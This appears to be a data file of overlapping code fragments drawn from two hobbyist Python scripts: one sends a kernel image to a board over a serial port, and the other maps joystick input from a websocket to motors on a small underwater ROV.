"'rb', buffering = 0) as f: for i in range(file_size): ser.write(f.read(1)) print(ser.readline()) print(\"done\")",
"failed!\") exit(1) file_path = args.image file_size = os.stat(file_path).st_size ser.write(file_size.to_bytes(4, byteorder=\"big\")) print(\"Sending kernel...\") with",
"os parser = argparse.ArgumentParser() parser.add_argument('image', default='kernel8.img', type=str) parser.add_argument('device',default='/dev/ttyUSB0', type=str) args = parser.parse_args() try:",
"serial.Serial(args.device,115200) except: print(\"Serial init failed!\") exit(1) file_path = args.image file_size = os.stat(file_path).st_size ser.write(file_size.to_bytes(4,",
"try: ser = serial.Serial(args.device,115200) except: print(\"Serial init failed!\") exit(1) file_path = args.image file_size",
"file_size = os.stat(file_path).st_size ser.write(file_size.to_bytes(4, byteorder=\"big\")) print(\"Sending kernel...\") with open(file_path, 'rb', buffering = 0)",
"parser = argparse.ArgumentParser() parser.add_argument('image', default='kernel8.img', type=str) parser.add_argument('device',default='/dev/ttyUSB0', type=str) args = parser.parse_args() try: ser",
"print(\"Serial init failed!\") exit(1) file_path = args.image file_size = os.stat(file_path).st_size ser.write(file_size.to_bytes(4, byteorder=\"big\")) print(\"Sending",
"print(\"Sending kernel...\") with open(file_path, 'rb', buffering = 0) as f: for i in",
"ser.write(file_size.to_bytes(4, byteorder=\"big\")) print(\"Sending kernel...\") with open(file_path, 'rb', buffering = 0) as f: for",
"open(file_path, 'rb', buffering = 0) as f: for i in range(file_size): ser.write(f.read(1)) print(ser.readline())",
"exit(1) file_path = args.image file_size = os.stat(file_path).st_size ser.write(file_size.to_bytes(4, byteorder=\"big\")) print(\"Sending kernel...\") with open(file_path,",
"os.stat(file_path).st_size ser.write(file_size.to_bytes(4, byteorder=\"big\")) print(\"Sending kernel...\") with open(file_path, 'rb', buffering = 0) as f:",
"ser = serial.Serial(args.device,115200) except: print(\"Serial init failed!\") exit(1) file_path = args.image file_size =",
"byteorder=\"big\")) print(\"Sending kernel...\") with open(file_path, 'rb', buffering = 0) as f: for i",
"argparse import serial import os parser = argparse.ArgumentParser() parser.add_argument('image', default='kernel8.img', type=str) parser.add_argument('device',default='/dev/ttyUSB0', type=str)",
"serial import os parser = argparse.ArgumentParser() parser.add_argument('image', default='kernel8.img', type=str) parser.add_argument('device',default='/dev/ttyUSB0', type=str) args =",
"import os parser = argparse.ArgumentParser() parser.add_argument('image', default='kernel8.img', type=str) parser.add_argument('device',default='/dev/ttyUSB0', type=str) args = parser.parse_args()",
"except: print(\"Serial init failed!\") exit(1) file_path = args.image file_size = os.stat(file_path).st_size ser.write(file_size.to_bytes(4, byteorder=\"big\"))",
"= argparse.ArgumentParser() parser.add_argument('image', default='kernel8.img', type=str) parser.add_argument('device',default='/dev/ttyUSB0', type=str) args = parser.parse_args() try: ser =",
"with open(file_path, 'rb', buffering = 0) as f: for i in range(file_size): ser.write(f.read(1))",
"import serial import os parser = argparse.ArgumentParser() parser.add_argument('image', default='kernel8.img', type=str) parser.add_argument('device',default='/dev/ttyUSB0', type=str) args",
"init failed!\") exit(1) file_path = args.image file_size = os.stat(file_path).st_size ser.write(file_size.to_bytes(4, byteorder=\"big\")) print(\"Sending kernel...\")",
"type=str) args = parser.parse_args() try: ser = serial.Serial(args.device,115200) except: print(\"Serial init failed!\") exit(1)",
"import argparse import serial import os parser = argparse.ArgumentParser() parser.add_argument('image', default='kernel8.img', type=str) parser.add_argument('device',default='/dev/ttyUSB0',",
"argparse.ArgumentParser() parser.add_argument('image', default='kernel8.img', type=str) parser.add_argument('device',default='/dev/ttyUSB0', type=str) args = parser.parse_args() try: ser = serial.Serial(args.device,115200)",
"parser.add_argument('device',default='/dev/ttyUSB0', type=str) args = parser.parse_args() try: ser = serial.Serial(args.device,115200) except: print(\"Serial init failed!\")",
"= serial.Serial(args.device,115200) except: print(\"Serial init failed!\") exit(1) file_path = args.image file_size = os.stat(file_path).st_size",
"args.image file_size = os.stat(file_path).st_size ser.write(file_size.to_bytes(4, byteorder=\"big\")) print(\"Sending kernel...\") with open(file_path, 'rb', buffering =",
"type=str) parser.add_argument('device',default='/dev/ttyUSB0', type=str) args = parser.parse_args() try: ser = serial.Serial(args.device,115200) except: print(\"Serial init",
"kernel...\") with open(file_path, 'rb', buffering = 0) as f: for i in range(file_size):",
"= parser.parse_args() try: ser = serial.Serial(args.device,115200) except: print(\"Serial init failed!\") exit(1) file_path ="
] |
[
"False } ] def buttonPressed(button, num): global trimUp # num is 0 or",
"'RB': trimUp['center'] -= 1 def process(data): joysticks = json.loads(data) assert len(joysticks) == 24",
"assert len(joysticks) == 24 joystick1 = dict(zip(axis + buttons, joysticks[:12])) joystick2 = dict(zip(axis",
"1'.format(v)) else: pass stickNum += 1 del stickNum yLeft = 50 * joystick2['yLeft']",
"= bounds(motor_b) motor_up = bounds(motor_up) # right move1(motor_up) move4(motor_a) move3(motor_b) # print datalist",
"(joystick2['triggerRight'] + 1) / 2 joystick2['triggerLeft'] = (joystick2['triggerLeft'] + 1) / 2 vertical",
"|____| # (up) # motor_a = yLeft motor_b = yRight global trimUp motor_up",
"x < -50: return -50 if x > 50: return 50 return round(x,",
"'X': False, 'Y': False, 'LB': False, 'RB': False } ] def buttonPressed(button, num):",
"50 * joystick2['yRight'] #xRight = 50 * joystick2['xRight'] joystick2['triggerRight'] = (joystick2['triggerRight'] + 1)",
"# |____| # (up) # motor_a = yLeft motor_b = yRight global trimUp",
"motorInterface.motor(4, 18) # side (maybe right) def move1(pow): m1.set(pow) def move2(pow): m2.set(pow) def",
"'yRight', 'triggerRight'] buttons = ['A', 'B', 'X', 'Y', 'LB', 'RB'] trimUp = {",
"False, 'B': False, 'X': False, 'Y': False, 'LB': False, 'RB': False } ]",
"if num == 1: # controller number 2 if button == 'LB': trimUp['center']",
"or 1'.format(v)) else: pass stickNum += 1 del stickNum yLeft = 50 *",
"joystick2['xRight'] joystick2['triggerRight'] = (joystick2['triggerRight'] + 1) / 2 joystick2['triggerLeft'] = (joystick2['triggerLeft'] + 1)",
"yLeft motor_b = yRight global trimUp motor_up = trimUp['center'] + vertical def bounds(x):",
"motor_b = yRight global trimUp motor_up = trimUp['center'] + vertical def bounds(x): #",
"if joystick2['triggerRight'] > 0.1: # spin right vertical = joystick2['triggerRight'] * 50 if",
"both are pressed else: if joystick2['triggerRight'] > 0.1: # spin right vertical =",
"m3.set(pow) def move4(pow): m4.set(pow) justPressed = [ { 'A': False, 'B': False, 'X':",
"= joystick2['triggerRight'] * 50 if joystick2['triggerLeft'] > 0.1: # spin left vertical =",
"} # these are in a row # this motor is IN3/4 on",
"data global justPressed stickNum = 0 for stick, jPressed in zip((joystick1, joystick2), justPressed):",
"'B', 'X', 'Y', 'LB', 'RB'] trimUp = { 'center': 0.0 } # these",
"100 if x < -50: return -50 if x > 50: return 50",
"in buttons: continue v = stick[k] if v == 1 and not jPressed[k]:",
"= (joystick2['triggerRight'] + 1) / 2 joystick2['triggerLeft'] = (joystick2['triggerLeft'] + 1) / 2",
"== 1: # controller number 2 if button == 'LB': trimUp['center'] += 1",
"vertical = 0 if joystick2['triggerRight'] >= 0.1 and joystick2['triggerLeft'] >= 0.1: pass #",
"13) # unused # 2nd chip m3 = motorInterface.motor(27, 23) # side (maybe",
"motor_up = trimUp['center'] + vertical def bounds(x): # max power is -100 to",
"not in buttons: continue v = stick[k] if v == 1 and not",
"0.1: # spin left vertical = -joystick2['triggerLeft'] * 50 # Mini-ROV motor setup",
">= 0.1: pass # do nothing cause both are pressed else: if joystick2['triggerRight']",
"trimUp['center'] + vertical def bounds(x): # max power is -100 to 100 if",
"m2 = motorInterface.motor(12, 13) # unused # 2nd chip m3 = motorInterface.motor(27, 23)",
"vertical = -joystick2['triggerLeft'] * 50 # Mini-ROV motor setup # top view #",
"m2.set(pow) def move3(pow): m3.set(pow) def move4(pow): m4.set(pow) justPressed = [ { 'A': False,",
"[ { 'A': False, 'B': False, 'X': False, 'Y': False, 'LB': False, 'RB':",
"2 vertical = 0 if joystick2['triggerRight'] >= 0.1 and joystick2['triggerLeft'] >= 0.1: pass",
"x > 50: return 50 return round(x, 2) motor_a = bounds(motor_a) motor_b =",
"> 50: return 50 return round(x, 2) motor_a = bounds(motor_a) motor_b = bounds(motor_b)",
"# 2nd chip m3 = motorInterface.motor(27, 23) # side (maybe left) m4 =",
"[] # for debugging #print('msg:', joysticks) del data global justPressed stickNum = 0",
"|/b\\ # |____| # (up) # motor_a = yLeft motor_b = yRight global",
"'LB': False, 'RB': False } ] def buttonPressed(button, num): global trimUp # num",
"del data global justPressed stickNum = 0 for stick, jPressed in zip((joystick1, joystick2),",
"dict(zip(axis + buttons, joysticks[:12])) joystick2 = dict(zip(axis + buttons, joysticks[12:])) old = []",
"cause both are pressed else: if joystick2['triggerRight'] > 0.1: # spin right vertical",
"in [1, 0]: raise ValueError('Got {0}, expected 0 or 1'.format(v)) else: pass stickNum",
"def bounds(x): # max power is -100 to 100 if x < -50:",
"= 50 * joystick2['xLeft'] yRight = 50 * joystick2['yRight'] #xRight = 50 *",
"= True elif v == 0 and jPressed[k]: # just released jPressed[k] =",
"m3 = motorInterface.motor(27, 23) # side (maybe left) m4 = motorInterface.motor(4, 18) #",
"= motorInterface.motor(27, 23) # side (maybe left) m4 = motorInterface.motor(4, 18) # side",
"'A': False, 'B': False, 'X': False, 'Y': False, 'LB': False, 'RB': False },",
"= 0 for stick, jPressed in zip((joystick1, joystick2), justPressed): for k in stick:",
"if x > 50: return 50 return round(x, 2) motor_a = bounds(motor_a) motor_b",
"= motorInterface.motor(4, 18) # side (maybe right) def move1(pow): m1.set(pow) def move2(pow): m2.set(pow)",
"in zip((joystick1, joystick2), justPressed): for k in stick: if k not in buttons:",
"# right move1(motor_up) move4(motor_a) move3(motor_b) # print datalist for i in range(30): print('\\r\\033[A\\033[K',",
"button == 'LB': trimUp['center'] += 1 elif button == 'RB': trimUp['center'] -= 1",
"= motorInterface.motor(12, 13) # unused # 2nd chip m3 = motorInterface.motor(27, 23) #",
"a row # this motor is IN3/4 on the edge of the motor",
"-joystick2['triggerLeft'] * 50 # Mini-ROV motor setup # top view # ____ #",
"50 * joystick2['xLeft'] yRight = 50 * joystick2['yRight'] #xRight = 50 * joystick2['xRight']",
"controller number 2 if button == 'LB': trimUp['center'] += 1 elif button ==",
"+= 1 elif button == 'RB': trimUp['center'] -= 1 def process(data): joysticks =",
"unused # 2nd chip m3 = motorInterface.motor(27, 23) # side (maybe left) m4",
"side (maybe left) m4 = motorInterface.motor(4, 18) # side (maybe right) def move1(pow):",
"are pressed else: if joystick2['triggerRight'] > 0.1: # spin right vertical = joystick2['triggerRight']",
"'X': False, 'Y': False, 'LB': False, 'RB': False }, { 'A': False, 'B':",
"50 # Mini-ROV motor setup # top view # ____ # | |",
"if k not in buttons: continue v = stick[k] if v == 1",
"view # ____ # | | # /a\\| |/b\\ # |____| # (up)",
"justPressed = [ { 'A': False, 'B': False, 'X': False, 'Y': False, 'LB':",
"def move4(pow): m4.set(pow) justPressed = [ { 'A': False, 'B': False, 'X': False,",
"old = [] # for debugging #print('msg:', joysticks) del data global justPressed stickNum",
"raise ValueError('Got {0}, expected 0 or 1'.format(v)) else: pass stickNum += 1 del",
"these are in a row # this motor is IN3/4 on the edge",
"# Mini-ROV motor setup # top view # ____ # | | #",
"def process(data): joysticks = json.loads(data) assert len(joysticks) == 24 joystick1 = dict(zip(axis +",
"vertical m2 = motorInterface.motor(12, 13) # unused # 2nd chip m3 = motorInterface.motor(27,",
"(maybe left) m4 = motorInterface.motor(4, 18) # side (maybe right) def move1(pow): m1.set(pow)",
"IN3/4 on the edge of the motor controller m1 = motorInterface.motor(16, 26) #",
"joysticks) del data global justPressed stickNum = 0 for stick, jPressed in zip((joystick1,",
"}, { 'A': False, 'B': False, 'X': False, 'Y': False, 'LB': False, 'RB':",
"motor setup # top view # ____ # | | # /a\\| |/b\\",
"= 0 if joystick2['triggerRight'] >= 0.1 and joystick2['triggerLeft'] >= 0.1: pass # do",
"0.1 and joystick2['triggerLeft'] >= 0.1: pass # do nothing cause both are pressed",
"the edge of the motor controller m1 = motorInterface.motor(16, 26) # vertical m2",
"| | # /a\\| |/b\\ # |____| # (up) # motor_a = yLeft",
"jPressed[k] = True elif v == 0 and jPressed[k]: # just released jPressed[k]",
"# max power is -100 to 100 if x < -50: return -50",
"26) # vertical m2 = motorInterface.motor(12, 13) # unused # 2nd chip m3",
"joysticks[:12])) joystick2 = dict(zip(axis + buttons, joysticks[12:])) old = [] # for debugging",
"side (maybe right) def move1(pow): m1.set(pow) def move2(pow): m2.set(pow) def move3(pow): m3.set(pow) def",
"# just released jPressed[k] = False elif v not in [1, 0]: raise",
"end='') print('Trim: {0}'.format(trimUp['center'])) print(joystick1) print(joystick2) print(motor_a, motor_b) print(motor_up) print() index = 0 for",
"= { 'center': 0.0 } # these are in a row # this",
"> 0.1: # spin left vertical = -joystick2['triggerLeft'] * 50 # Mini-ROV motor",
"= trimUp['center'] + vertical def bounds(x): # max power is -100 to 100",
"import json axis = ['xLeft', 'yLeft', 'triggerLeft', 'xRight', 'yRight', 'triggerRight'] buttons = ['A',",
"buttons, joysticks[12:])) old = [] # for debugging #print('msg:', joysticks) del data global",
"Mini-ROV motor setup # top view # ____ # | | # /a\\|",
"motor_b) print(motor_up) print() index = 0 for i in old: print(index, i) index",
"spin left vertical = -joystick2['triggerLeft'] * 50 # Mini-ROV motor setup # top",
"are in a row # this motor is IN3/4 on the edge of",
"= ['A', 'B', 'X', 'Y', 'LB', 'RB'] trimUp = { 'center': 0.0 }",
"{0}'.format(trimUp['center'])) print(joystick1) print(joystick2) print(motor_a, motor_b) print(motor_up) print() index = 0 for i in",
"stickNum) jPressed[k] = True elif v == 0 and jPressed[k]: # just released",
"-50 if x > 50: return 50 return round(x, 2) motor_a = bounds(motor_a)",
"right) def move1(pow): m1.set(pow) def move2(pow): m2.set(pow) def move3(pow): m3.set(pow) def move4(pow): m4.set(pow)",
"joystick2['xLeft'] yRight = 50 * joystick2['yRight'] #xRight = 50 * joystick2['xRight'] joystick2['triggerRight'] =",
"1 def process(data): joysticks = json.loads(data) assert len(joysticks) == 24 joystick1 = dict(zip(axis",
"setup # top view # ____ # | | # /a\\| |/b\\ #",
"joystick2['triggerRight'] = (joystick2['triggerRight'] + 1) / 2 joystick2['triggerLeft'] = (joystick2['triggerLeft'] + 1) /",
"'yLeft', 'triggerLeft', 'xRight', 'yRight', 'triggerRight'] buttons = ['A', 'B', 'X', 'Y', 'LB', 'RB']",
"m1 = motorInterface.motor(16, 26) # vertical m2 = motorInterface.motor(12, 13) # unused #",
"# (up) # motor_a = yLeft motor_b = yRight global trimUp motor_up =",
"0 for stick, jPressed in zip((joystick1, joystick2), justPressed): for k in stick: if",
"print(joystick1) print(joystick2) print(motor_a, motor_b) print(motor_up) print() index = 0 for i in old:",
"range(30): print('\\r\\033[A\\033[K', end='') print('Trim: {0}'.format(trimUp['center'])) print(joystick1) print(joystick2) print(motor_a, motor_b) print(motor_up) print() index =",
"to 100 if x < -50: return -50 if x > 50: return",
"top view # ____ # | | # /a\\| |/b\\ # |____| #",
"jPressed[k]: # just pressed buttonPressed(k, stickNum) jPressed[k] = True elif v == 0",
"< -50: return -50 if x > 50: return 50 return round(x, 2)",
"print('\\r\\033[A\\033[K', end='') print('Trim: {0}'.format(trimUp['center'])) print(joystick1) print(joystick2) print(motor_a, motor_b) print(motor_up) print() index = 0",
"1) / 2 joystick2['triggerLeft'] = (joystick2['triggerLeft'] + 1) / 2 vertical = 0",
"'LB', 'RB'] trimUp = { 'center': 0.0 } # these are in a",
"move1(motor_up) move4(motor_a) move3(motor_b) # print datalist for i in range(30): print('\\r\\033[A\\033[K', end='') print('Trim:",
"jPressed in zip((joystick1, joystick2), justPressed): for k in stick: if k not in",
"motorInterface.motor(12, 13) # unused # 2nd chip m3 = motorInterface.motor(27, 23) # side",
"= stick[k] if v == 1 and not jPressed[k]: # just pressed buttonPressed(k,",
"return round(x, 2) motor_a = bounds(motor_a) motor_b = bounds(motor_b) motor_up = bounds(motor_up) #",
"just pressed buttonPressed(k, stickNum) jPressed[k] = True elif v == 0 and jPressed[k]:",
"50 * joystick2['yLeft'] #xLeft = 50 * joystick2['xLeft'] yRight = 50 * joystick2['yRight']",
"#print('msg:', joysticks) del data global justPressed stickNum = 0 for stick, jPressed in",
"1 if num == 1: # controller number 2 if button == 'LB':",
"row # this motor is IN3/4 on the edge of the motor controller",
"yLeft = 50 * joystick2['yLeft'] #xLeft = 50 * joystick2['xLeft'] yRight = 50",
"+ buttons, joysticks[12:])) old = [] # for debugging #print('msg:', joysticks) del data",
"motor is IN3/4 on the edge of the motor controller m1 = motorInterface.motor(16,",
"yRight = 50 * joystick2['yRight'] #xRight = 50 * joystick2['xRight'] joystick2['triggerRight'] = (joystick2['triggerRight']",
"on the edge of the motor controller m1 = motorInterface.motor(16, 26) # vertical",
"v == 1 and not jPressed[k]: # just pressed buttonPressed(k, stickNum) jPressed[k] =",
"left vertical = -joystick2['triggerLeft'] * 50 # Mini-ROV motor setup # top view",
"] def buttonPressed(button, num): global trimUp # num is 0 or 1 if",
"stickNum = 0 for stick, jPressed in zip((joystick1, joystick2), justPressed): for k in",
"and not jPressed[k]: # just pressed buttonPressed(k, stickNum) jPressed[k] = True elif v",
"else: if joystick2['triggerRight'] > 0.1: # spin right vertical = joystick2['triggerRight'] * 50",
"print('Trim: {0}'.format(trimUp['center'])) print(joystick1) print(joystick2) print(motor_a, motor_b) print(motor_up) print() index = 0 for i",
"buttons: continue v = stick[k] if v == 1 and not jPressed[k]: #",
"False, 'Y': False, 'LB': False, 'RB': False }, { 'A': False, 'B': False,",
"2 if button == 'LB': trimUp['center'] += 1 elif button == 'RB': trimUp['center']",
"import webSocketClient import motorInterface import json axis = ['xLeft', 'yLeft', 'triggerLeft', 'xRight', 'yRight',",
"trimUp motor_up = trimUp['center'] + vertical def bounds(x): # max power is -100",
"# controller number 2 if button == 'LB': trimUp['center'] += 1 elif button",
"1: # controller number 2 if button == 'LB': trimUp['center'] += 1 elif",
"== 'RB': trimUp['center'] -= 1 def process(data): joysticks = json.loads(data) assert len(joysticks) ==",
"and jPressed[k]: # just released jPressed[k] = False elif v not in [1,",
"button == 'RB': trimUp['center'] -= 1 def process(data): joysticks = json.loads(data) assert len(joysticks)",
"+ 1) / 2 vertical = 0 if joystick2['triggerRight'] >= 0.1 and joystick2['triggerLeft']",
"0 for i in old: print(index, i) index += 1 webSocketClient.start('miniROV', process, ip=\"192.168.1.2\")",
"vertical def bounds(x): # max power is -100 to 100 if x <",
"(joystick2['triggerLeft'] + 1) / 2 vertical = 0 if joystick2['triggerRight'] >= 0.1 and",
"joystick2['triggerLeft'] >= 0.1: pass # do nothing cause both are pressed else: if",
"stick[k] if v == 1 and not jPressed[k]: # just pressed buttonPressed(k, stickNum)",
"not in [1, 0]: raise ValueError('Got {0}, expected 0 or 1'.format(v)) else: pass",
"# /a\\| |/b\\ # |____| # (up) # motor_a = yLeft motor_b =",
"'xRight', 'yRight', 'triggerRight'] buttons = ['A', 'B', 'X', 'Y', 'LB', 'RB'] trimUp =",
"import motorInterface import json axis = ['xLeft', 'yLeft', 'triggerLeft', 'xRight', 'yRight', 'triggerRight'] buttons",
"k in stick: if k not in buttons: continue v = stick[k] if",
"joystick2['triggerRight'] > 0.1: # spin right vertical = joystick2['triggerRight'] * 50 if joystick2['triggerLeft']",
"False elif v not in [1, 0]: raise ValueError('Got {0}, expected 0 or",
"2 joystick2['triggerLeft'] = (joystick2['triggerLeft'] + 1) / 2 vertical = 0 if joystick2['triggerRight']",
"not jPressed[k]: # just pressed buttonPressed(k, stickNum) jPressed[k] = True elif v ==",
"'Y': False, 'LB': False, 'RB': False } ] def buttonPressed(button, num): global trimUp",
"num is 0 or 1 if num == 1: # controller number 2",
"+ buttons, joysticks[:12])) joystick2 = dict(zip(axis + buttons, joysticks[12:])) old = [] #",
"# ____ # | | # /a\\| |/b\\ # |____| # (up) #",
"num): global trimUp # num is 0 or 1 if num == 1:",
"['xLeft', 'yLeft', 'triggerLeft', 'xRight', 'yRight', 'triggerRight'] buttons = ['A', 'B', 'X', 'Y', 'LB',",
"motor controller m1 = motorInterface.motor(16, 26) # vertical m2 = motorInterface.motor(12, 13) #",
"debugging #print('msg:', joysticks) del data global justPressed stickNum = 0 for stick, jPressed",
"# just pressed buttonPressed(k, stickNum) jPressed[k] = True elif v == 0 and",
"False, 'X': False, 'Y': False, 'LB': False, 'RB': False } ] def buttonPressed(button,",
"= [] # for debugging #print('msg:', joysticks) del data global justPressed stickNum =",
"chip m3 = motorInterface.motor(27, 23) # side (maybe left) m4 = motorInterface.motor(4, 18)",
"joystick2['yLeft'] #xLeft = 50 * joystick2['xLeft'] yRight = 50 * joystick2['yRight'] #xRight =",
"elif v not in [1, 0]: raise ValueError('Got {0}, expected 0 or 1'.format(v))",
"0.1: pass # do nothing cause both are pressed else: if joystick2['triggerRight'] >",
"joysticks = json.loads(data) assert len(joysticks) == 24 joystick1 = dict(zip(axis + buttons, joysticks[:12]))",
"edge of the motor controller m1 = motorInterface.motor(16, 26) # vertical m2 =",
"trimUp # num is 0 or 1 if num == 1: # controller",
"joystick2), justPressed): for k in stick: if k not in buttons: continue v",
"return -50 if x > 50: return 50 return round(x, 2) motor_a =",
"False, 'LB': False, 'RB': False }, { 'A': False, 'B': False, 'X': False,",
"0 if joystick2['triggerRight'] >= 0.1 and joystick2['triggerLeft'] >= 0.1: pass # do nothing",
"0 or 1 if num == 1: # controller number 2 if button",
"+= 1 del stickNum yLeft = 50 * joystick2['yLeft'] #xLeft = 50 *",
"yRight global trimUp motor_up = trimUp['center'] + vertical def bounds(x): # max power",
"'RB'] trimUp = { 'center': 0.0 } # these are in a row",
"= False elif v not in [1, 0]: raise ValueError('Got {0}, expected 0",
"motorInterface.motor(27, 23) # side (maybe left) m4 = motorInterface.motor(4, 18) # side (maybe",
"do nothing cause both are pressed else: if joystick2['triggerRight'] > 0.1: # spin",
"joysticks[12:])) old = [] # for debugging #print('msg:', joysticks) del data global justPressed",
"stickNum yLeft = 50 * joystick2['yLeft'] #xLeft = 50 * joystick2['xLeft'] yRight =",
"move3(motor_b) # print datalist for i in range(30): print('\\r\\033[A\\033[K', end='') print('Trim: {0}'.format(trimUp['center'])) print(joystick1)",
"elif v == 0 and jPressed[k]: # just released jPressed[k] = False elif",
"process(data): joysticks = json.loads(data) assert len(joysticks) == 24 joystick1 = dict(zip(axis + buttons,",
"pass # do nothing cause both are pressed else: if joystick2['triggerRight'] > 0.1:",
"elif button == 'RB': trimUp['center'] -= 1 def process(data): joysticks = json.loads(data) assert",
"if v == 1 and not jPressed[k]: # just pressed buttonPressed(k, stickNum) jPressed[k]",
"trimUp['center'] -= 1 def process(data): joysticks = json.loads(data) assert len(joysticks) == 24 joystick1",
"# top view # ____ # | | # /a\\| |/b\\ # |____|",
"24 joystick1 = dict(zip(axis + buttons, joysticks[:12])) joystick2 = dict(zip(axis + buttons, joysticks[12:]))",
"this motor is IN3/4 on the edge of the motor controller m1 =",
"released jPressed[k] = False elif v not in [1, 0]: raise ValueError('Got {0},",
"= bounds(motor_a) motor_b = bounds(motor_b) motor_up = bounds(motor_up) # right move1(motor_up) move4(motor_a) move3(motor_b)",
"m1.set(pow) def move2(pow): m2.set(pow) def move3(pow): m3.set(pow) def move4(pow): m4.set(pow) justPressed = [",
"print(motor_up) print() index = 0 for i in old: print(index, i) index +=",
"return 50 return round(x, 2) motor_a = bounds(motor_a) motor_b = bounds(motor_b) motor_up =",
"and joystick2['triggerLeft'] >= 0.1: pass # do nothing cause both are pressed else:",
"move4(motor_a) move3(motor_b) # print datalist for i in range(30): print('\\r\\033[A\\033[K', end='') print('Trim: {0}'.format(trimUp['center']))",
"True elif v == 0 and jPressed[k]: # just released jPressed[k] = False",
"round(x, 2) motor_a = bounds(motor_a) motor_b = bounds(motor_b) motor_up = bounds(motor_up) # right",
"in range(30): print('\\r\\033[A\\033[K', end='') print('Trim: {0}'.format(trimUp['center'])) print(joystick1) print(joystick2) print(motor_a, motor_b) print(motor_up) print() index",
"1 del stickNum yLeft = 50 * joystick2['yLeft'] #xLeft = 50 * joystick2['xLeft']",
"move1(pow): m1.set(pow) def move2(pow): m2.set(pow) def move3(pow): m3.set(pow) def move4(pow): m4.set(pow) justPressed =",
"bounds(motor_b) motor_up = bounds(motor_up) # right move1(motor_up) move4(motor_a) move3(motor_b) # print datalist for",
"+ 1) / 2 joystick2['triggerLeft'] = (joystick2['triggerLeft'] + 1) / 2 vertical =",
"del stickNum yLeft = 50 * joystick2['yLeft'] #xLeft = 50 * joystick2['xLeft'] yRight",
"== 0 and jPressed[k]: # just released jPressed[k] = False elif v not",
"the motor controller m1 = motorInterface.motor(16, 26) # vertical m2 = motorInterface.motor(12, 13)",
"motorInterface import json axis = ['xLeft', 'yLeft', 'triggerLeft', 'xRight', 'yRight', 'triggerRight'] buttons =",
"False, 'RB': False } ] def buttonPressed(button, num): global trimUp # num is",
"50 if joystick2['triggerLeft'] > 0.1: # spin left vertical = -joystick2['triggerLeft'] * 50",
"/a\\| |/b\\ # |____| # (up) # motor_a = yLeft motor_b = yRight",
"motor_up = bounds(motor_up) # right move1(motor_up) move4(motor_a) move3(motor_b) # print datalist for i",
"# these are in a row # this motor is IN3/4 on the",
"= [ { 'A': False, 'B': False, 'X': False, 'Y': False, 'LB': False,",
"def move2(pow): m2.set(pow) def move3(pow): m3.set(pow) def move4(pow): m4.set(pow) justPressed = [ {",
"= 50 * joystick2['xRight'] joystick2['triggerRight'] = (joystick2['triggerRight'] + 1) / 2 joystick2['triggerLeft'] =",
"# num is 0 or 1 if num == 1: # controller number",
"stickNum += 1 del stickNum yLeft = 50 * joystick2['yLeft'] #xLeft = 50",
"of the motor controller m1 = motorInterface.motor(16, 26) # vertical m2 = motorInterface.motor(12,",
"| # /a\\| |/b\\ # |____| # (up) # motor_a = yLeft motor_b",
"'triggerLeft', 'xRight', 'yRight', 'triggerRight'] buttons = ['A', 'B', 'X', 'Y', 'LB', 'RB'] trimUp",
"if joystick2['triggerRight'] >= 0.1 and joystick2['triggerLeft'] >= 0.1: pass # do nothing cause",
"if button == 'LB': trimUp['center'] += 1 elif button == 'RB': trimUp['center'] -=",
"[1, 0]: raise ValueError('Got {0}, expected 0 or 1'.format(v)) else: pass stickNum +=",
"{0}, expected 0 or 1'.format(v)) else: pass stickNum += 1 del stickNum yLeft",
"justPressed stickNum = 0 for stick, jPressed in zip((joystick1, joystick2), justPressed): for k",
"'LB': False, 'RB': False }, { 'A': False, 'B': False, 'X': False, 'Y':",
"in a row # this motor is IN3/4 on the edge of the",
"= dict(zip(axis + buttons, joysticks[12:])) old = [] # for debugging #print('msg:', joysticks)",
"# motor_a = yLeft motor_b = yRight global trimUp motor_up = trimUp['center'] +",
"or 1 if num == 1: # controller number 2 if button ==",
"pass stickNum += 1 del stickNum yLeft = 50 * joystick2['yLeft'] #xLeft =",
"k not in buttons: continue v = stick[k] if v == 1 and",
"move4(pow): m4.set(pow) justPressed = [ { 'A': False, 'B': False, 'X': False, 'Y':",
"50: return 50 return round(x, 2) motor_a = bounds(motor_a) motor_b = bounds(motor_b) motor_up",
"pressed else: if joystick2['triggerRight'] > 0.1: # spin right vertical = joystick2['triggerRight'] *",
"expected 0 or 1'.format(v)) else: pass stickNum += 1 del stickNum yLeft =",
"= dict(zip(axis + buttons, joysticks[:12])) joystick2 = dict(zip(axis + buttons, joysticks[12:])) old =",
"else: pass stickNum += 1 del stickNum yLeft = 50 * joystick2['yLeft'] #xLeft",
"just released jPressed[k] = False elif v not in [1, 0]: raise ValueError('Got",
"controller m1 = motorInterface.motor(16, 26) # vertical m2 = motorInterface.motor(12, 13) # unused",
"= ['xLeft', 'yLeft', 'triggerLeft', 'xRight', 'yRight', 'triggerRight'] buttons = ['A', 'B', 'X', 'Y',",
"joystick2 = dict(zip(axis + buttons, joysticks[12:])) old = [] # for debugging #print('msg:',",
"0 or 1'.format(v)) else: pass stickNum += 1 del stickNum yLeft = 50",
"def move1(pow): m1.set(pow) def move2(pow): m2.set(pow) def move3(pow): m3.set(pow) def move4(pow): m4.set(pow) justPressed",
"# side (maybe right) def move1(pow): m1.set(pow) def move2(pow): m2.set(pow) def move3(pow): m3.set(pow)",
"joystick2['triggerRight'] >= 0.1 and joystick2['triggerLeft'] >= 0.1: pass # do nothing cause both",
"json.loads(data) assert len(joysticks) == 24 joystick1 = dict(zip(axis + buttons, joysticks[:12])) joystick2 =",
"v = stick[k] if v == 1 and not jPressed[k]: # just pressed",
"global justPressed stickNum = 0 for stick, jPressed in zip((joystick1, joystick2), justPressed): for",
"= motorInterface.motor(16, 26) # vertical m2 = motorInterface.motor(12, 13) # unused # 2nd",
"motor_a = yLeft motor_b = yRight global trimUp motor_up = trimUp['center'] + vertical",
"trimUp = { 'center': 0.0 } # these are in a row #",
"print() index = 0 for i in old: print(index, i) index += 1",
"nothing cause both are pressed else: if joystick2['triggerRight'] > 0.1: # spin right",
"datalist for i in range(30): print('\\r\\033[A\\033[K', end='') print('Trim: {0}'.format(trimUp['center'])) print(joystick1) print(joystick2) print(motor_a, motor_b)",
"is IN3/4 on the edge of the motor controller m1 = motorInterface.motor(16, 26)",
"# print datalist for i in range(30): print('\\r\\033[A\\033[K', end='') print('Trim: {0}'.format(trimUp['center'])) print(joystick1) print(joystick2)",
"right vertical = joystick2['triggerRight'] * 50 if joystick2['triggerLeft'] > 0.1: # spin left",
"# vertical m2 = motorInterface.motor(12, 13) # unused # 2nd chip m3 =",
